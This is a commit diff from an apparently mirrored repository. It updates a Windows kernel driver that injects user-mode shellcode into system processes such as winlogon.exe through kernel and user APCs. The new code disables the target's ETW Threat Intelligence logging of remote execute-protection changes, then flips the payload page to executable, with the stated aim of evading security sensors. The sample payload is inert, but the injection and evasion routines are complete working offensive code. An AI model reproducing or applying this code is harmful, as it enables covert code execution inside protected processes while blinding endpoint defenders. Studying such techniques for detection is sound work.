mirror of
https://github.com/winterknife/EVENSTAR
synced 2026-06-21 14:13:51 +00:00
updated KernelToUserInjector project to evade more ETW Threat Intelligence sensors
This commit is contained in:
@@ -7,7 +7,7 @@
|
||||
//
|
||||
// Modifications:
|
||||
// 2026-04-13 Created
|
||||
// 2026-04-28 Updated
|
||||
// 2026-05-06 Updated
|
||||
// ========================================================================
|
||||
|
||||
// ========================================================================
|
||||
@@ -30,6 +30,8 @@
|
||||
|
||||
#define SystemProcessInformation 0x05UL
|
||||
|
||||
#define ProcessEnableLogging 0x60UL
|
||||
|
||||
#pragma endregion
|
||||
|
||||
// ========================================================================
|
||||
@@ -109,6 +111,26 @@ typedef struct _SYSTEM_PROCESS_INFORMATION {
|
||||
// SYSTEM_EXTENDED_THREAD_INFORMATION + SYSTEM_PROCESS_INFORMATION_EXTENSION // SystemFullProcessInformation
|
||||
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
|
||||
|
||||
// nt!_PROCESS_LOGGING_INFORMATION structure definition
|
||||
#pragma warning(push)
|
||||
#pragma warning(disable: 4201)
|
||||
typedef struct _PROCESS_LOGGING_INFORMATION {
|
||||
union {
|
||||
ULONG Flags;
|
||||
struct {
|
||||
ULONG EnableReadVmLogging : 1; // Enables logging of read operations to process virtual memory.
|
||||
ULONG EnableWriteVmLogging : 1; // Enables logging of write operations to process virtual memory.
|
||||
ULONG EnableProcessSuspendResumeLogging : 1; // Enables logging of process suspend and resume events.
|
||||
ULONG EnableThreadSuspendResumeLogging : 1; // Enables logging of thread suspend and resume events.
|
||||
ULONG EnableLocalExecProtectVmLogging : 1; // Enables logging of local execution protection for virtual memory.
|
||||
ULONG EnableRemoteExecProtectVmLogging : 1; // Enables logging of remote execution protection for virtual memory.
|
||||
ULONG EnableImpersonationLogging : 1; // Enables logging of impersonation events.
|
||||
ULONG Reserved : 25;
|
||||
};
|
||||
};
|
||||
} PROCESS_LOGGING_INFORMATION, *PPROCESS_LOGGING_INFORMATION;
|
||||
#pragma warning(pop)
|
||||
|
||||
// nt!_KAPC_ENVIRONMENT structure definition
|
||||
typedef enum _KAPC_ENVIRONMENT {
|
||||
OriginalApcEnvironment,
|
||||
@@ -132,6 +154,21 @@ EXTERN_C NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(
|
||||
_Out_opt_ PULONG ReturnLength
|
||||
);
|
||||
|
||||
EXTERN_C NTSYSCALLAPI NTSTATUS NTAPI ZwQueryInformationProcess(
|
||||
_In_ HANDLE ProcessHandle,
|
||||
_In_ PROCESSINFOCLASS ProcessInformationClass,
|
||||
_Out_writes_bytes_(ProcessInformationLength) PVOID ProcessInformation,
|
||||
_In_ ULONG ProcessInformationLength,
|
||||
_Out_opt_ PULONG ReturnLength
|
||||
);
|
||||
|
||||
EXTERN_C NTSYSCALLAPI NTSTATUS NTAPI ZwSetInformationProcess(
|
||||
_In_ HANDLE ProcessHandle,
|
||||
_In_ PROCESSINFOCLASS ProcessInformationClass,
|
||||
_In_reads_bytes_(ProcessInformationLength) PVOID ProcessInformation,
|
||||
_In_ ULONG ProcessInformationLength
|
||||
);
|
||||
|
||||
EXTERN_C NTSYSCALLAPI NTSTATUS NTAPI ZwProtectVirtualMemory(
|
||||
_In_ HANDLE ProcessHandle,
|
||||
_Inout_ PVOID* BaseAddress,
|
||||
@@ -207,7 +244,11 @@ EXTERN_C DECLSPEC_NOINLINE NTSTATUS __stdcall query_process_thread_by_name(
|
||||
/// @param SystemArgument2 Ignored
|
||||
KKERNEL_ROUTINE kernel_routine;
|
||||
|
||||
/// @brief Inject a ring 3 payload from ring 0 to a remote process using APCs
|
||||
/// @brief Rundown routine for the special kernel APC
|
||||
/// @param Apc Pointer to the special kernel APC object
|
||||
KRUNDOWN_ROUTINE rundown_routine;
|
||||
|
||||
/// @brief Inject a ring 3 payload from ring 0 into a remote process using APCs
|
||||
/// @param wstrImageName Pointer to a null-terminated wide-character string representing the image name of the target process
|
||||
/// @param pPayload KVA of the ring 3 payload buffer
|
||||
/// @param dwptrPayloadSize Size of the ring 3 payload buffer in bytes
|
||||
|
||||
@@ -0,0 +1,86 @@
|
||||
{
|
||||
"header": {
|
||||
"activity_id": "{00000000-0000-0000-0000-000000000000}",
|
||||
"event_flags": 576,
|
||||
"event_id": 22,
|
||||
"event_name": "",
|
||||
"event_opcode": 0,
|
||||
"event_version": 3,
|
||||
"process_id": 4,
|
||||
"provider_name": "Microsoft-Windows-Threat-Intelligence",
|
||||
"task_name": "KERNEL_THREATINT_TASK_PROTECTVM",
|
||||
"thread_id": 6388,
|
||||
"timestamp": "2026-05-05 16:00:49Z",
|
||||
"trace_name": "TI-Trace"
|
||||
},
|
||||
"properties": {
|
||||
"BaseAddress": "0x2865F380000",
|
||||
"CallingProcessCreateTime": "2026-05-03 19:35:28Z",
|
||||
"CallingProcessId": 4,
|
||||
"CallingProcessProtection": 114,
|
||||
"CallingProcessSectionSignatureLevel": 28,
|
||||
"CallingProcessSignatureLevel": 30,
|
||||
"CallingProcessStartKey": 10133099161583617,
|
||||
"CallingThreadCreateTime": "2026-05-05 15:40:13Z",
|
||||
"CallingThreadId": 6388,
|
||||
"FullRegionSize": 4096,
|
||||
"LastProtectionMask": 4,
|
||||
"OriginalProcessCreateTime": "2026-05-03 19:35:28Z",
|
||||
"OriginalProcessId": 4,
|
||||
"OriginalProcessProtection": 114,
|
||||
"OriginalProcessSectionSignatureLevel": 28,
|
||||
"OriginalProcessSignatureLevel": 30,
|
||||
"OriginalProcessStartKey": 10133099161583617,
|
||||
"ProtectionMask": 32,
|
||||
"RegionSize": 4096,
|
||||
"TargetAddress": "0x2865F380000",
|
||||
"TargetProcessCreateTime": "2026-05-03 19:35:57Z",
|
||||
"TargetProcessId": 1052,
|
||||
"TargetProcessProtection": 0,
|
||||
"TargetProcessSectionSignatureLevel": 0,
|
||||
"TargetProcessSignatureLevel": 0,
|
||||
"TargetProcessStartKey": 10133099161583637,
|
||||
"VaVadAllocationBase": "0x2865F380000",
|
||||
"VaVadAllocationProtect": 4,
|
||||
"VaVadCommitSize": "0x1000",
|
||||
"VaVadMmfName": "",
|
||||
"VaVadQueryResult": 0,
|
||||
"VaVadRegionSize": "0x1000",
|
||||
"VaVadRegionType": 131072
|
||||
},
|
||||
"property_types": {
|
||||
"BaseAddress": "POINTER",
|
||||
"CallingProcessCreateTime": "FILETIME",
|
||||
"CallingProcessId": "UINT32",
|
||||
"CallingProcessProtection": "UINT8",
|
||||
"CallingProcessSectionSignatureLevel": "UINT8",
|
||||
"CallingProcessSignatureLevel": "UINT8",
|
||||
"CallingProcessStartKey": "UINT64",
|
||||
"CallingThreadCreateTime": "FILETIME",
|
||||
"CallingThreadId": "UINT32",
|
||||
"FullRegionSize": "UINT64",
|
||||
"LastProtectionMask": "UINT32",
|
||||
"OriginalProcessCreateTime": "FILETIME",
|
||||
"OriginalProcessId": "UINT32",
|
||||
"OriginalProcessProtection": "UINT8",
|
||||
"OriginalProcessSectionSignatureLevel": "UINT8",
|
||||
"OriginalProcessSignatureLevel": "UINT8",
|
||||
"OriginalProcessStartKey": "UINT64",
|
||||
"ProtectionMask": "UINT32",
|
||||
"RegionSize": "UINT64",
|
||||
"TargetAddress": "POINTER",
|
||||
"TargetProcessCreateTime": "FILETIME",
|
||||
"TargetProcessId": "UINT32",
|
||||
"TargetProcessProtection": "UINT8",
|
||||
"TargetProcessSectionSignatureLevel": "UINT8",
|
||||
"TargetProcessSignatureLevel": "UINT8",
|
||||
"TargetProcessStartKey": "UINT64",
|
||||
"VaVadAllocationBase": "POINTER",
|
||||
"VaVadAllocationProtect": "UINT32",
|
||||
"VaVadCommitSize": "POINTER",
|
||||
"VaVadMmfName": "STRINGW",
|
||||
"VaVadQueryResult": "UINT32",
|
||||
"VaVadRegionSize": "POINTER",
|
||||
"VaVadRegionType": "UINT32"
|
||||
}
|
||||
}
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 82 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 74 KiB |
@@ -2,7 +2,7 @@
|
||||
|
||||
## Version
|
||||
|
||||
- `v2.0.0`
|
||||
- `v3.0.0`
|
||||
|
||||
## Brief
|
||||
|
||||
@@ -18,12 +18,12 @@
|
||||
|
||||
```
|
||||
[DBG]: +++ KernelToUserInjector.sys Loaded +++
|
||||
[DBG]: KernelToUserInjector.sys Built Apr 27 2026 16:54:27
|
||||
[DBG]: KernelToUserInjector: DriverObject = FFFFC486721BDAF0
|
||||
[DBG]: KernelToUserInjector.sys Built May 6 2026 11:07:01
|
||||
[DBG]: KernelToUserInjector: DriverObject = FFFFE508AFD7E2F0
|
||||
[DBG]: KernelToUserInjector: RegistryPath = \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\KernelToUserInjector
|
||||
[DBG]: [+] PID of target process: 744
|
||||
[DBG]: [+] TID of thread in alertable wait state: 780
|
||||
[DBG]: [+] Payload buffer UVA: 0x0000023626550000
|
||||
[DBG]: [+] PID of target process: 712
|
||||
[DBG]: [+] TID of thread in alertable wait state: 1032
|
||||
[DBG]: [+] Payload buffer UVA: 0x0000020B242E0000
|
||||
[DBG]: [+] Queued a special kernel APC to the target thread!
|
||||
[DBG]: [+] Queued a regular user-mode APC to the target thread!
|
||||
[DBG]: --- KernelToUserInjector.sys Unloaded ---
|
||||
@@ -31,7 +31,7 @@
|
||||
|
||||
## Tested OS Versions
|
||||
|
||||
- `Windows 11 21H2 Build 22000 Revision 675 64-bit`
|
||||
- `Windows 11 25H2 Build 26200 Revision 8246 64-bit`
|
||||
|
||||
## References
|
||||
|
||||
@@ -41,3 +41,4 @@
|
||||
4. [Bypassing the Microsoft-Windows-Threat-Intelligence Kernel APC Injection Sensor](https://medium.com/@philiptsukerman/bypassing-the-microsoft-windows-threat-intelligence-kernel-apc-injection-sensor-92266433e0b0)
|
||||
5. [Blackbone](https://github.com/DarthTon/Blackbone)
|
||||
6. [Circumventing Windows Defender ATP's user-mode APC Injection sensor from Kernel-mode](https://rce4fun.blogspot.com/2019/04/circumventing-windows-defender-atps.html)
|
||||
7. [KernelInjector](https://github.com/0mWindyBug/KernelInjector)
|
||||
@@ -7,7 +7,7 @@
|
||||
//
|
||||
// Modifications:
|
||||
// 2026-04-13 Created
|
||||
// 2026-04-20 Updated
|
||||
// 2026-05-05 Updated
|
||||
// ========================================================================
|
||||
|
||||
// ========================================================================
|
||||
@@ -54,7 +54,7 @@ EXTERN_C __declspec(code_seg("INIT")) NTSTATUS __stdcall DriverEntry(
|
||||
|
||||
// Inject ring 3 shellcode to a user-land process
|
||||
BYTE byarrPayload[] = { 0xCC, 0x90, 0xC3 }; // int3; nop; ret;
|
||||
inject_payload(L"lsass.exe", byarrPayload, sizeof(byarrPayload));
|
||||
inject_payload(L"winlogon.exe", byarrPayload, sizeof(byarrPayload));
|
||||
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
@@ -8,7 +8,7 @@
|
||||
//
|
||||
// Modifications:
|
||||
// 2026-04-13 Created
|
||||
// 2026-04-28 Updated
|
||||
// 2026-05-06 Updated
|
||||
// ========================================================================
|
||||
|
||||
// ========================================================================
|
||||
@@ -159,6 +159,17 @@ VOID __stdcall kernel_routine(
|
||||
ExFreePoolWithTag(Apc, __POOLTAG__);
|
||||
}
|
||||
|
||||
_Use_decl_annotations_
|
||||
VOID __stdcall rundown_routine(
|
||||
PRKAPC Apc
|
||||
) {
|
||||
// Free the regular user-mode APC object
|
||||
ExFreePoolWithTag(Apc->SystemArgument1, __POOLTAG__);
|
||||
|
||||
// Free the special kernel APC object
|
||||
ExFreePoolWithTag(Apc, __POOLTAG__);
|
||||
}
|
||||
|
||||
_Use_decl_annotations_
|
||||
NTSTATUS __stdcall inject_payload(
|
||||
PCWSTR wstrImageName,
|
||||
@@ -170,9 +181,15 @@ NTSTATUS __stdcall inject_payload(
|
||||
UNICODE_STRING uncImageName; ZERO_MEMORY(&uncImageName, sizeof(UNICODE_STRING));
|
||||
PEPROCESS pEprocess = nullptr;
|
||||
PETHREAD pEthread = nullptr;
|
||||
KAPC_STATE kapcState; ZERO_MEMORY(&kapcState, sizeof(KAPC_STATE));
|
||||
HANDLE hProcess = nullptr;
|
||||
DWORD_PTR dwptrSize = 0;
|
||||
PVOID pBuffer = nullptr;
|
||||
PMDL pMdl = nullptr;
|
||||
KAPC_STATE kapcState; ZERO_MEMORY(&kapcState, sizeof(KAPC_STATE));
|
||||
BOOLEAN bLocked = false;
|
||||
PVOID pBufferKva = nullptr;
|
||||
PROCESS_LOGGING_INFORMATION processLoggingInformation; ZERO_MEMORY(&processLoggingInformation, sizeof(PROCESS_LOGGING_INFORMATION));
|
||||
BOOLEAN bEtwTiDisabled = false;
|
||||
DWORD dwOldProtection = 0;
|
||||
PKAPC pKapcKernel = nullptr;
|
||||
PKAPC pKapcUser = nullptr;
|
||||
@@ -187,38 +204,89 @@ NTSTATUS __stdcall inject_payload(
|
||||
RtlInitUnicodeString(&uncImageName, wstrImageName);
|
||||
status = query_process_thread_by_name(&uncImageName, &pEprocess, &pEthread);
|
||||
if (!NT_SUCCESS(status) || pEprocess == nullptr || pEthread == nullptr) {
|
||||
status = STATUS_NOT_FOUND;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Obtain a kernel handle to the target process
|
||||
status = ObOpenObjectByPointer(pEprocess, OBJ_KERNEL_HANDLE, nullptr, 0, nullptr, KernelMode, &hProcess);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
DEBUG_PRINT("[-] ObOpenObjectByPointer error: 0x%08X\n", status);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Allocate RW memory in the target process
|
||||
dwptrSize = dwptrPayloadSize;
|
||||
status = ZwAllocateVirtualMemory(hProcess, &pBuffer, 0, &dwptrSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
DEBUG_PRINT("[-] ZwAllocateVirtualMemory error: 0x%08X\n", status);
|
||||
goto cleanup;
|
||||
}
|
||||
DEBUG_PRINT("[+] Payload buffer UVA: 0x%p\n", pBuffer);
|
||||
|
||||
// Allocate a MDL for the payload buffer in UVAS
|
||||
pMdl = IoAllocateMdl(pBuffer, static_cast<ULONG>(dwptrSize), false, false, nullptr);
|
||||
if (pMdl == nullptr) {
|
||||
status = STATUS_INSUFFICIENT_RESOURCES;
|
||||
DEBUG_PRINT("[-] IoAllocateMdl error: 0x%08X\n", status);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Attach the current thread to the address space of the target process
|
||||
KeStackAttachProcess(pEprocess, &kapcState);
|
||||
|
||||
// Allocate RW memory in the target process
|
||||
// This userland memory is never properly cleaned up on either success or failure paths
|
||||
dwptrSize = dwptrPayloadSize;
|
||||
status = ZwAllocateVirtualMemory(ZwCurrentProcess(), &pBuffer, 0, &dwptrSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
DEBUG_PRINT("[-] ZwAllocateVirtualMemory error: 0x%08X\n", status);
|
||||
// Lock the pages in the MDL
|
||||
__try {
|
||||
MmProbeAndLockPages(pMdl, KernelMode, IoModifyAccess);
|
||||
} __except (EXCEPTION_EXECUTE_HANDLER) {
|
||||
status = STATUS_UNSUCCESSFUL;
|
||||
DEBUG_PRINT("[-] MmProbeAndLockPages error: 0x%08X\n", status);
|
||||
KeUnstackDetachProcess(&kapcState);
|
||||
goto cleanup;
|
||||
}
|
||||
DEBUG_PRINT("[+] Payload buffer UVA: 0x%p\n", pBuffer);
|
||||
|
||||
// Copy ring 3 payload from KVAS to target process UVAS
|
||||
// This is quite risky!
|
||||
COPY_MEMORY(pBuffer, pPayload, dwptrPayloadSize);
|
||||
|
||||
// Change page protection of the allocated memory to RX
|
||||
status = ZwProtectVirtualMemory(ZwCurrentProcess(), &pBuffer, &dwptrSize, PAGE_EXECUTE_READ, &dwOldProtection);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
DEBUG_PRINT("[-] ZwProtectVirtualMemory error: 0x%08X\n", status);
|
||||
KeUnstackDetachProcess(&kapcState);
|
||||
goto cleanup;
|
||||
}
|
||||
bLocked = true;
|
||||
|
||||
// Detach the current thread from the address space of the target process
|
||||
KeUnstackDetachProcess(&kapcState);
|
||||
|
||||
// Map the locked pages in KVAS
|
||||
pBufferKva = MmMapLockedPagesSpecifyCache(pMdl, KernelMode, MmCached, nullptr, false, HighPagePriority | MdlMappingNoExecute);
|
||||
if (pBufferKva == nullptr) {
|
||||
status = STATUS_INSUFFICIENT_RESOURCES;
|
||||
DEBUG_PRINT("[-] MmMapLockedPagesSpecifyCache error: 0x%08X\n", status);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Copy ring 3 payload via double mapping
|
||||
COPY_MEMORY(pBufferKva, pPayload, dwptrPayloadSize);
|
||||
|
||||
// Query EtwTi logging flags for the target process
|
||||
status = ZwQueryInformationProcess(hProcess, static_cast<PROCESSINFOCLASS>(ProcessEnableLogging), &processLoggingInformation, sizeof(PROCESS_LOGGING_INFORMATION), nullptr);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
DEBUG_PRINT("[-] ZwQueryInformationProcess error: 0x%08X\n", status);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Disable logging of remote execution protection for virtual memory for the target process
|
||||
if (processLoggingInformation.EnableRemoteExecProtectVmLogging) {
|
||||
processLoggingInformation.EnableRemoteExecProtectVmLogging = 0UL;
|
||||
status = ZwSetInformationProcess(hProcess, static_cast<PROCESSINFOCLASS>(ProcessEnableLogging), &processLoggingInformation, sizeof(PROCESS_LOGGING_INFORMATION));
|
||||
if (!NT_SUCCESS(status)) {
|
||||
DEBUG_PRINT("[-] ZwSetInformationProcess error: 0x%08X\n", status);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
bEtwTiDisabled = true;
|
||||
}
|
||||
|
||||
// Change page protection of the allocated memory to RX
|
||||
status = ZwProtectVirtualMemory(hProcess, &pBuffer, &dwptrSize, PAGE_EXECUTE_READ, &dwOldProtection);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
DEBUG_PRINT("[-] ZwProtectVirtualMemory error: 0x%08X\n", status);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Allocate memory for the KAPC structures
|
||||
pKapcKernel = static_cast<PKAPC>(ExAllocatePoolZero(NonPagedPoolNx, sizeof(KAPC), __POOLTAG__));
|
||||
if (pKapcKernel == nullptr) {
|
||||
@@ -236,23 +304,46 @@ NTSTATUS __stdcall inject_payload(
|
||||
}
|
||||
|
||||
// Initialize the special kernel APC
|
||||
KeInitializeApc(pKapcKernel, pEthread, OriginalApcEnvironment, kernel_routine, nullptr, nullptr, KernelMode, nullptr);
|
||||
KeInitializeApc(pKapcKernel, pEthread, OriginalApcEnvironment, kernel_routine, rundown_routine, nullptr, KernelMode, nullptr);
|
||||
|
||||
// Initialize the regular user-mode APC
|
||||
KeInitializeApc(pKapcUser, pEthread, OriginalApcEnvironment, reinterpret_cast<PKKERNEL_ROUTINE>(ExFreePool), nullptr, reinterpret_cast<PKNORMAL_ROUTINE>(pBuffer), UserMode, nullptr);
|
||||
|
||||
// Insert the APC into the queue of the target thread
|
||||
// If the driver is unloaded after the special kernel APC is queued but before the kernel / rundown routine has finished running, it would lead to bugcheck unpleasantries
|
||||
if (!KeInsertQueueApc(pKapcKernel, pKapcUser, nullptr, IO_NO_INCREMENT)) {
|
||||
status = STATUS_UNSUCCESSFUL;
|
||||
DEBUG_PRINT("[-] KeInsertQueueApc #1 error: 0x%08X\n", status);
|
||||
ExFreePoolWithTag(pKapcKernel, __POOLTAG__);
|
||||
ExFreePoolWithTag(pKapcUser, __POOLTAG__);
|
||||
ExFreePoolWithTag(pKapcKernel, __POOLTAG__);
|
||||
goto cleanup;
|
||||
}
|
||||
DEBUG_PRINT("[+] Queued a special kernel APC to the target thread!\n");
|
||||
|
||||
// Cleanup
|
||||
cleanup:
|
||||
if (bEtwTiDisabled) {
|
||||
processLoggingInformation.EnableRemoteExecProtectVmLogging = 1UL;
|
||||
ZwSetInformationProcess(hProcess, static_cast<PROCESSINFOCLASS>(ProcessEnableLogging), &processLoggingInformation, sizeof(PROCESS_LOGGING_INFORMATION));
|
||||
}
|
||||
|
||||
if (pBufferKva)
|
||||
MmUnmapLockedPages(pBufferKva, pMdl);
|
||||
|
||||
if (bLocked)
|
||||
MmUnlockPages(pMdl);
|
||||
|
||||
if (pMdl)
|
||||
IoFreeMdl(pMdl);
|
||||
|
||||
if (!NT_SUCCESS(status) && pBuffer) {
|
||||
dwptrSize = 0;
|
||||
ZwFreeVirtualMemory(hProcess, &pBuffer, &dwptrSize, MEM_RELEASE);
|
||||
}
|
||||
|
||||
if (hProcess)
|
||||
ZwClose(hProcess);
|
||||
|
||||
if (pEthread)
|
||||
ObDereferenceObject(pEthread);
|
||||
|
||||
|
||||
Reference in New Issue
Block a user